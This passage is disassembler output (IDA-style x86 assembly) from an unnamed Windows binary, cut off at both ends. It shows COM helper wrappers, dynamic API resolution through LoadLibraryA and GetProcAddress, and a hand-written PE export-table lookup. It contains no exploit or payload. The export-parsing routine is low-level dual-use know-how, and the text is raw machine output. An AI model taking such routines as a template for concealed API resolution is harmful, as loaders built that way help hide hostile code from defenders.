cmp eax, [ebp+arg_10] jnb short loc_5094B0 mov eax, [ebp+var_18] imul eax, 0Ch mov ecx, [ebp+arg_14] lea eax, [ecx+eax+4] push eax mov eax, [ebp+var_18] imul eax, 0Ch mov ecx, [ebp+arg_14] push dword ptr [ecx+eax] mov eax, [ebp+var_8] mov eax, [eax] push [ebp+var_8] call dword ptr [eax] mov ecx, [ebp+var_18] imul ecx, 0Ch mov edx, [ebp+arg_14] mov [edx+ecx+8], eax mov eax, [ebp+var_18] imul eax, 0Ch mov ecx, [ebp+arg_14] cmp dword ptr [ecx+eax+8], 0 jl short loc_50947F mov [ebp+var_C], 1 jmp short loc_50949C ; --------------------------------------------------------------------------- loc_50947F: ; CODE XREF: sub_5093B3+C4j mov eax, [ebp+var_18] imul eax, 0Ch mov ecx, [ebp+arg_14] cmp dword ptr [ecx+eax+8], 80004002h jnz short loc_509498 mov [ebp+var_10], 1 jmp short loc_50949C ; --------------------------------------------------------------------------- loc_509498: ; CODE XREF: sub_5093B3+DDj mov [ebp+var_14], 1 loc_50949C: ; CODE XREF: sub_5093B3+CAj ; sub_5093B3+E3j mov eax, [ebp+var_18] imul eax, 0Ch mov ecx, [ebp+arg_14] mov eax, [ecx+eax] mov [ebp+var_1C], eax jmp loc_509429 ; --------------------------------------------------------------------------- loc_5094B0: ; CODE XREF: sub_5093B3+83j mov eax, [ebp+var_8] mov eax, [eax] push [ebp+var_8] call dword ptr [eax+8] loc_5094BB: ; CODE XREF: sub_5093B3+6Aj movzx eax, [ebp+var_14] test eax, eax jz short loc_5094CE mov eax, [ebp+arg_18] mov dword ptr [eax], 80004005h jmp short loc_509502 ; --------------------------------------------------------------------------- loc_5094CE: ; CODE XREF: sub_5093B3+10Ej movzx eax, [ebp+var_C] test eax, eax jz short loc_5094E9 movzx eax, [ebp+var_10] test eax, eax jz short loc_5094E9 mov eax, [ebp+arg_18] mov dword ptr [eax], 80012h jmp short loc_509502 ; --------------------------------------------------------------------------- loc_5094E9: ; CODE XREF: sub_5093B3+121j ; sub_5093B3+129j movzx eax, [ebp+var_C] test eax, eax jz short loc_5094F9 mov eax, [ebp+arg_18] and dword ptr [eax], 0 jmp short loc_509502 ; --------------------------------------------------------------------------- loc_5094F9: ; CODE XREF: sub_5093B3+13Cj mov eax, [ebp+arg_18] mov dword ptr [eax], 80004002h loc_509502: ; CODE XREF: sub_5093B3+119j ; sub_5093B3+134j ... mov eax, [ebp+var_4] mov eax, [eax] push [ebp+var_4] call dword ptr [eax+8] xor eax, eax jmp short locret_509516 ; --------------------------------------------------------------------------- loc_509511: ; CODE XREF: sub_5093B3+29j mov eax, 80004005h locret_509516: ; CODE XREF: sub_5093B3+3Cj ; sub_5093B3+15Cj leave retn sub_5093B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_509518 proc near ; DATA XREF: _7:off_5113E0o var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50E578 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 24h push ebx push esi push edi and [ebp+var_1C], 0 and [ebp+var_4], 0 and [ebp+var_2C], 0 xor eax, eax lea edi, [ebp+var_28] stosd stosd mov eax, [ebp+arg_C] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax lea eax, [ebp+var_2C] push eax push 1 push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_5093B3 add esp, 1Ch test eax, eax jl short loc_50959A mov eax, [ebp+arg_10] mov ecx, [ebp+var_28] mov [eax], ecx push 0FFFFFFFFh mov eax, [ebp+var_24] mov [ebp+var_38], eax lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_38] jmp loc_509627 ; --------------------------------------------------------------------------- loc_50959A: ; CODE XREF: sub_509518+5Dj mov eax, [ebp+arg_8] and eax, 1 test eax, eax jz short loc_5095D6 push [ebp+arg_0] call sub_509638 pop ecx mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz short loc_5095D6 mov [ebp+arg_8], 1 push [ebp+var_1C] call ds:dword_511718 ; GetModuleHandleA test eax, eax jnz short loc_5095D6 push 8 push 0 push [ebp+var_1C] call sub_50AE96 loc_5095D6: ; CODE XREF: sub_509518+8Aj ; sub_509518+9Cj ... and [ebp+var_20], 0 push offset dword_50E5DC push offset aCocreateinstan ; "CoCreateInstance" call sub_509C22 pop ecx pop ecx mov [ebp+var_20], eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_20] push 0FFFFFFFFh mov [ebp+var_3C], eax lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_3C] jmp short loc_509627 ; --------------------------------------------------------------------------- loc_509615: ; DATA XREF: _6:0050E580o mov eax, [ebp+var_1C] mov [ebp+var_34], eax push [ebp+var_34] call sub_5083DD pop ecx retn ; --------------------------------------------------------------------------- xor eax, eax loc_509627: ; CODE XREF: sub_509518+7Dj ; sub_509518+FBj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 14h sub_509518 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_509638 proc near ; CODE XREF: sub_509518+8Fp ; sub_509789+8Fp ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 005096A2 SIZE 0000007A BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50E588 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 10h push ebx push esi push edi push offset dword_516098 call ds:dword_5116C4 ; RtlEnterCriticalSection and [ebp+var_4], 0 cmp ds:dword_5160B0, 0 jnz short loc_50968B push offset aAdvapi32_dll_0 ; "ADVAPI32.DLL" push offset aRegqueryvaluea ; "RegQueryValueA" call sub_509C22 pop ecx pop ecx mov ds:dword_5160B0, eax loc_50968B: ; CODE XREF: sub_509638+3Bj or [ebp+var_4], 0FFFFFFFFh call sub_509696 jmp short loc_5096A2 sub_509638 endp ; =============== S U B R O U T I N E ======================================= sub_509696 proc near ; CODE XREF: sub_509638+57p ; DATA XREF: _6:0050E590o push offset dword_516098 call ds:dword_511754 ; RtlLeaveCriticalSection retn sub_509696 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_509638 loc_5096A2: ; CODE XREF: sub_509638+5Cj push 401h call sub_50835A pop ecx mov [ebp+var_24], eax mov eax, [ebp+var_24] mov [ebp+var_1C], eax mov [ebp+var_20], 400h mov ecx, [ebp+var_20] xor eax, eax mov edi, [ebp+var_1C] mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb push [ebp+arg_0] call sub_50971C pop ecx lea eax, [ebp+var_20] push eax push [ebp+var_1C] push offset dword_515F98 push 80000000h call ds:dword_5160B0 test eax, eax jnz short loc_5096FC mov eax, [ebp+var_1C] jmp short loc_50970D ; --------------------------------------------------------------------------- loc_5096FC: ; CODE XREF: sub_509638+BDj mov eax, [ebp+var_1C] mov [ebp+var_28], eax push [ebp+var_28] call sub_5083DD pop ecx xor eax, eax loc_50970D: ; CODE XREF: sub_509638+C2j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; END OF FUNCTION CHUNK FOR sub_509638 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50971C proc near ; CODE XREF: sub_509638+9Ep arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] movzx eax, byte ptr [eax+0Fh] push eax mov eax, [ebp+arg_0] movzx eax, byte ptr [eax+0Eh] push eax mov eax, [ebp+arg_0] movzx eax, byte ptr [eax+0Dh] push eax mov eax, [ebp+arg_0] movzx eax, byte ptr [eax+0Ch] push eax mov eax, [ebp+arg_0] movzx eax, byte ptr [eax+0Bh] push eax mov eax, [ebp+arg_0] movzx eax, byte ptr [eax+0Ah] push eax mov eax, [ebp+arg_0] movzx eax, byte ptr [eax+9] push eax mov eax, [ebp+arg_0] movzx eax, byte ptr [eax+8] push eax mov eax, [ebp+arg_0] movzx eax, word ptr [eax+6] push eax mov eax, [ebp+arg_0] movzx eax, word ptr [eax+4] push eax mov eax, [ebp+arg_0] push dword ptr [eax] push offset aClsid08x04x04x ; "CLSID\\{%08x-%04x-%04x-%02x%02x-%02x%02x"... push offset dword_515F98 call ds:dword_5117D4 ; wsprintfA add esp, 34h pop ebp retn sub_50971C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_509789 proc near ; DATA XREF: _7:005113E8o var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50E598 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 24h push ebx push esi push edi and [ebp+var_1C], 0 and [ebp+var_4], 0 lea eax, [ebp+var_2C] push eax push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_5093B3 add esp, 1Ch test eax, eax jl short loc_5097F3 push 0FFFFFFFFh mov eax, [ebp+var_2C] mov [ebp+var_38], eax lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_38] jmp loc_5098AF ; --------------------------------------------------------------------------- loc_5097F3: ; CODE XREF: sub_509789+4Dj and [ebp+var_20], 0 push offset dword_50E5DC push offset aCocreateinst_0 ; "CoCreateInstanceEx" call sub_509C22 pop ecx pop ecx mov [ebp+var_20], eax mov eax, [ebp+arg_8] and eax, 1 test eax, eax jz short loc_509847 push [ebp+arg_0] call sub_509638 pop ecx mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz short loc_509847 mov [ebp+arg_8], 1 push [ebp+var_1C] call ds:dword_511718 ; GetModuleHandleA test eax, eax jnz short loc_509847 push 8 push 0 push [ebp+var_1C] call sub_50AE96 loc_509847: ; CODE XREF: sub_509789+8Aj ; sub_509789+9Cj ... push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_20] mov [ebp+var_24], eax and [ebp+var_28], 0 jmp short loc_50986C ; --------------------------------------------------------------------------- loc_509865: ; CODE XREF: sub_509789+FAj mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax loc_50986C: ; CODE XREF: sub_509789+DAj mov eax, [ebp+var_28] cmp eax, [ebp+arg_10] jnb short loc_509885 mov eax, [ebp+var_28] imul eax, 0Ch mov ecx, [ebp+arg_14] mov eax, [ecx+eax] mov [ebp+var_30], eax jmp short loc_509865 ; --------------------------------------------------------------------------- loc_509885: ; CODE XREF: sub_509789+E9j push 0FFFFFFFFh mov eax, [ebp+var_24] mov [ebp+var_3C], eax lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_3C] jmp short loc_5098AF ; --------------------------------------------------------------------------- loc_50989D: ; DATA XREF: _6:0050E5A0o mov eax, [ebp+var_1C] mov [ebp+var_34], eax push [ebp+var_34] call sub_5083DD pop ecx retn ; --------------------------------------------------------------------------- xor eax, eax loc_5098AF: ; CODE XREF: sub_509789+65j ; sub_509789+112j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 18h sub_509789 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5098C0 proc near ; DATA XREF: _7:005113F0o var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50E5A8 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 18h push ebx push esi push edi and [ebp+var_1C], 0 and [ebp+var_4], 0 lea eax, [ebp+var_24] push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_50931F add esp, 18h test eax, eax jl short loc_509927 push 0FFFFFFFFh mov eax, [ebp+var_24] mov [ebp+var_2C], eax lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_2C] jmp loc_5099B4 ; --------------------------------------------------------------------------- loc_509927: ; CODE XREF: sub_5098C0+4Aj mov eax, [ebp+arg_4] and eax, 1 test eax, eax jz short loc_509963 push [ebp+arg_0] call sub_509638 pop ecx mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz short loc_509963 mov [ebp+arg_4], 1 push [ebp+var_1C] call ds:dword_511718 ; GetModuleHandleA test eax, eax jnz short loc_509963 push 8 push 0 push [ebp+var_1C] call sub_50AE96 loc_509963: ; CODE XREF: sub_5098C0+6Fj ; sub_5098C0+81j ... and [ebp+var_20], 0 push offset dword_50E5DC push offset aCogetclassobje ; "CoGetClassObject" call sub_509C22 pop ecx pop ecx mov [ebp+var_20], eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_20] push 0FFFFFFFFh mov [ebp+var_30], eax lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_30] jmp short loc_5099B4 ; --------------------------------------------------------------------------- loc_5099A2: ; DATA XREF: _6:0050E5B0o mov eax, [ebp+var_1C] mov [ebp+var_28], eax push [ebp+var_28] call sub_5083DD pop ecx retn ; --------------------------------------------------------------------------- xor eax, eax loc_5099B4: ; CODE XREF: sub_5098C0+62j ; sub_5098C0+E0j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 14h sub_5098C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5099C5 proc near ; CODE XREF: sub_509A34+9Fp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_8], 80070057h and [ebp+var_4], 0 lea eax, [ebp+var_4] push eax push [ebp+arg_4] mov eax, [ebp+arg_0] mov eax, [eax] push [ebp+arg_0] call dword ptr [eax+18h] mov [ebp+var_8], eax cmp [ebp+var_8], 0 jl short loc_509A2F and [ebp+var_C], 0 push offset dword_50E5F8 push offset aGetrecordinfof ; "GetRecordInfoFromTypeInfo" call sub_509C22 pop ecx pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_509A28 push [ebp+arg_8] push [ebp+var_4] call [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_4] mov eax, [eax] push [ebp+var_4] call dword ptr [eax+8] jmp short loc_509A2F ; --------------------------------------------------------------------------- loc_509A28: ; CODE XREF: sub_5099C5+48j mov [ebp+var_8], 80004005h loc_509A2F: ; CODE XREF: sub_5099C5+2Aj ; sub_5099C5+61j mov eax, [ebp+var_8] leave retn sub_5099C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_509A34 proc near ; DATA XREF: _7:off_5113F8o var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 24h push edi mov [ebp+var_4], 80004005h push [ebp+arg_0] call sub_502D50 pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz loc_509AFD and [ebp+var_10], 0 mov edi, [ebp+var_8] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+var_18], ecx push 208h call sub_50835A pop ecx mov [ebp+var_20], eax mov eax, [ebp+var_20] mov [ebp+var_14], eax mov ecx, 82h xor eax, eax mov edi, [ebp+var_14] rep stosd push 104h push [ebp+var_14] push 0FFFFFFFFh push [ebp+var_8] push 0 push 0 call ds:dword_511770 ; MultiByteToWideChar push offset dword_50E5F8 push offset aLoadtypelib ; "LoadTypeLib" call sub_509C22 pop ecx pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push eax push [ebp+var_14] call [ebp+var_C] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jl short loc_509AE9 push [ebp+arg_14] push [ebp+arg_10] push [ebp+var_10] call sub_5099C5 add esp, 0Ch mov [ebp+var_4], eax mov eax, [ebp+var_10] mov eax, [eax] push [ebp+var_10] call dword ptr [eax+8] loc_509AE9: ; CODE XREF: sub_509A34+94j mov eax, [ebp+var_14] mov [ebp+var_24], eax push [ebp+var_24] call sub_5083DD pop ecx mov eax, [ebp+var_4] jmp short loc_509B37 ; --------------------------------------------------------------------------- loc_509AFD: ; CODE XREF: sub_509A34+1Ej and [ebp+var_1C], 0 push offset dword_50E5F8 push offset aGetrecordinf_0 ; "GetRecordInfoFromGuids" call sub_509C22 pop ecx pop ecx mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz short loc_509B32 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_1C] jmp short loc_509B37 ; --------------------------------------------------------------------------- loc_509B32: ; CODE XREF: sub_509A34+E5j mov eax, 80004005h loc_509B37: ; CODE XREF: sub_509A34+C7j ; sub_509A34+FCj pop edi leave retn 18h sub_509A34 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_509B3C proc near ; DATA XREF: _7:00511400o var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch mov [ebp+var_8], 80004005h push [ebp+arg_0] call sub_502D50 pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_509BB5 push 208h call sub_50835A pop ecx mov [ebp+var_18], eax mov eax, [ebp+var_18] mov [ebp+var_10], eax push 104h push [ebp+var_10] push 0FFFFFFFFh push [ebp+var_4] push 0 push 0 call ds:dword_511770 ; MultiByteToWideChar push offset dword_50E5F8 push offset aLoadtypelib ; "LoadTypeLib" call sub_509C22 pop ecx pop ecx mov [ebp+var_C], eax push [ebp+arg_10] push [ebp+var_10] call [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] mov [ebp+var_1C], eax push [ebp+var_1C] call sub_5083DD pop ecx loc_509BB5: ; CODE XREF: sub_509B3C+1Dj cmp [ebp+var_8], 0 jge short loc_509BE4 push offset dword_50E5F8 push offset aLoadregtypelib ; "LoadRegTypeLib" call sub_509C22 pop ecx pop ecx mov [ebp+var_14], eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_14] mov [ebp+var_8], eax loc_509BE4: ; CODE XREF: sub_509B3C+7Dj mov eax, [ebp+var_8] leave retn 14h sub_509B3C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_509BEB proc near ; CODE XREF: sub_509C22+Ap var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push [ebp+arg_4] call ds:dword_511718 ; GetModuleHandleA mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_509C0E push [ebp+arg_4] call ds:dword_51175C ; LoadLibraryA mov [ebp+var_8], eax loc_509C0E: ; CODE XREF: sub_509BEB+15j push [ebp+arg_0] push [ebp+var_8] call ds:dword_511728 ; GetProcAddress mov [ebp+var_4], eax mov eax, [ebp+var_4] leave retn sub_509BEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_509C22 proc near ; CODE XREF: sub_5058A0+16p ; sub_509518+CCp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push [ebp+arg_4] push [ebp+arg_0] call sub_509BEB pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_509C4F push ds:off_50E4F8 push 30h push ds:off_50E4FC call sub_50848C loc_509C4F: ; CODE XREF: sub_509C22+18j mov eax, [ebp+var_4] leave retn sub_509C22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_509C54 proc near ; CODE XREF: sub_432F40+8p ; sub_432F60+9p ... arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], 0 jnz short loc_509C64 mov [ebp+arg_0], offset sub_508C27 loc_509C64: ; CODE XREF: sub_509C54+7j movzx eax, ds:byte_5160D0 test eax, eax jnz short loc_509C7A push [ebp+arg_0] call ds:dword_511790 ; SetUnhandledExceptionFilter jmp short loc_509C8A ; --------------------------------------------------------------------------- loc_509C7A: ; CODE XREF: sub_509C54+19j push offset sub_508C27 call ds:dword_511790 ; SetUnhandledExceptionFilter mov eax, offset sub_508C27 loc_509C8A: ; CODE XREF: sub_509C54+24j pop ebp retn 4 sub_509C54 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_509C8E proc near ; CODE XREF: sub_509D79+4Bp ; sub_509F43+108p ... var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_22 = byte ptr -22h var_21 = byte ptr -21h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 2Ch and [ebp+var_8], 0 mov eax, [ebp+arg_4] mov eax, [eax+18h] dec eax mov [ebp+var_4], eax loc_509CA2: ; CODE XREF: sub_509C8E:loc_509D70j mov eax, [ebp+var_8] cmp eax, [ebp+var_4] jg loc_509D75 mov eax, [ebp+var_8] add eax, [ebp+var_4] cdq sub eax, edx sar eax, 1 mov [ebp+var_10], eax mov eax, [ebp+arg_4] mov ecx, [ebp+arg_0] add ecx, [eax+20h] mov eax, [ebp+var_10] mov eax, [ecx+eax*4] add eax, [ebp+arg_0] mov [ebp+var_1C], eax mov eax, [ebp+arg_8] mov [ebp+var_20], eax loc_509CD7: ; CODE XREF: sub_509C8E+7Bj mov eax, [ebp+var_20] mov al, [eax] mov [ebp+var_21], al mov ecx, [ebp+var_1C] cmp al, [ecx] jnz short loc_509D11 cmp [ebp+var_21], 0 jz short loc_509D0B mov eax, [ebp+var_20] mov al, [eax+1] mov [ebp+var_22], al mov ecx, [ebp+var_1C] cmp al, [ecx+1] jnz short loc_509D11 add [ebp+var_20], 2 add [ebp+var_1C], 2 cmp [ebp+var_22], 0 jnz short loc_509CD7 loc_509D0B: ; CODE XREF: sub_509C8E+5Cj and [ebp+var_28], 0 jmp short loc_509D19 ; --------------------------------------------------------------------------- loc_509D11: ; CODE XREF: sub_509C8E+56j ; sub_509C8E+6Dj sbb eax, eax sbb eax, 0FFFFFFFFh mov [ebp+var_28], eax loc_509D19: ; CODE XREF: sub_509C8E+81j mov eax, [ebp+var_28] mov [ebp+var_2C], eax mov eax, [ebp+var_2C] mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_509D5A mov eax, [ebp+arg_4] mov ecx, [ebp+arg_0] add ecx, [eax+24h] mov eax, [ebp+var_10] mov ax, [ecx+eax*2] mov [ebp+var_18], ax mov eax, [ebp+arg_4] mov ecx, [ebp+arg_0] add ecx, [eax+1Ch] movzx eax, [ebp+var_18] mov eax, [ecx+eax*4] add eax, [ebp+arg_0] mov [ebp+var_14], eax mov eax, [ebp+var_14] jmp short locret_509D77 ; --------------------------------------------------------------------------- loc_509D5A: ; CODE XREF: sub_509C8E+9Bj cmp [ebp+var_C], 0 jle short loc_509D69 mov eax, [ebp+var_10] inc eax mov [ebp+var_8], eax jmp short loc_509D70 ; --------------------------------------------------------------------------- loc_509D69: ; CODE XREF: sub_509C8E+D0j mov eax, [ebp+var_10] dec eax mov [ebp+var_4], eax loc_509D70: ; CODE XREF: sub_509C8E+D9j jmp loc_509CA2 ; --------------------------------------------------------------------------- loc_509D75: ; CODE XREF: sub_509C8E+1Aj xor eax, eax locret_509D77: ; CODE XREF: sub_509C8E+CAj leave retn sub_509C8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_509D79 proc near ; CODE XREF: sub_507494+97p ; sub_507494+C5p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h push [ebp+arg_4] call ds:dword_511718 ; GetModuleHandleA mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_509D9D push [ebp+arg_4] call ds:dword_51175C ; LoadLibraryA mov [ebp+var_14], eax loc_509D9D: ; CODE XREF: sub_509D79+16j mov eax, [ebp+var_14] mov [ebp+var_C], eax mov eax, [ebp+var_C] mov ecx, [ebp+var_C] add ecx, [eax+3Ch] mov [ebp+var_10], ecx mov eax, [ebp+var_10] mov ecx, [ebp+var_C] add ecx, [eax+78h] mov [ebp+var_4], ecx push [ebp+arg_0] push [ebp+var_4] push [ebp+var_C] call sub_509C8E add esp, 0Ch mov [ebp+var_8], eax mov eax, [ebp+var_8] leave retn sub_509D79 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_509DD4 proc near ; CODE XREF: sub_504DC0+12p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 2Ch push offset dword_5160B8 call ds:dword_51174C ; InitializeCriticalSection push offset dword_516098 call ds:dword_51174C ; InitializeCriticalSection push 28h call sub_50835A pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_509E13 push 83h mov ecx, [ebp+var_8] call sub_50B77C mov [ebp+var_1C], eax jmp short loc_509E17 ; --------------------------------------------------------------------------- loc_509E13: ; CODE XREF: sub_509DD4+2Bj and [ebp+var_1C], 0 loc_509E17: ; CODE XREF: sub_509DD4+3Dj mov eax, [ebp+var_1C] mov ds:dword_5160D4, eax push 28h call sub_50835A pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_509E3F push 9 mov ecx, [ebp+var_C] call sub_50B77C mov [ebp+var_20], eax jmp short loc_509E43 ; --------------------------------------------------------------------------- loc_509E3F: ; CODE XREF: sub_509DD4+5Aj and [ebp+var_20], 0 loc_509E43: ; CODE XREF: sub_509DD4+69j mov eax, [ebp+var_20] mov ds:dword_5160D8, eax push 28h call sub_50835A pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_509E6B push 9 mov ecx, [ebp+var_10] call sub_50B77C mov [ebp+var_24], eax jmp short loc_509E6F ; --------------------------------------------------------------------------- loc_509E6B: ; CODE XREF: sub_509DD4+86j and [ebp+var_24], 0 loc_509E6F: ; CODE XREF: sub_509DD4+95j mov eax, [ebp+var_24] mov ds:dword_51194C, eax push 28h call sub_50835A pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jz short loc_509E97 push 9 mov ecx, [ebp+var_14] call sub_50B77C mov [ebp+var_28], eax jmp short loc_509E9B ; --------------------------------------------------------------------------- loc_509E97: ; CODE XREF: sub_509DD4+B2j and [ebp+var_28], 0 loc_509E9B: ; CODE XREF: sub_509DD4+C1j mov eax, [ebp+var_28] mov ds:dword_511954, eax push 28h call sub_50835A pop ecx mov [ebp+var_18], eax cmp [ebp+var_18], 0 jz short loc_509EC3 push 9 mov ecx, [ebp+var_18] call sub_50B77C mov [ebp+var_2C], eax jmp short loc_509EC7 ; --------------------------------------------------------------------------- loc_509EC3: ; CODE XREF: sub_509DD4+DEj and [ebp+var_2C], 0 loc_509EC7: ; CODE XREF: sub_509DD4+EDj mov eax, 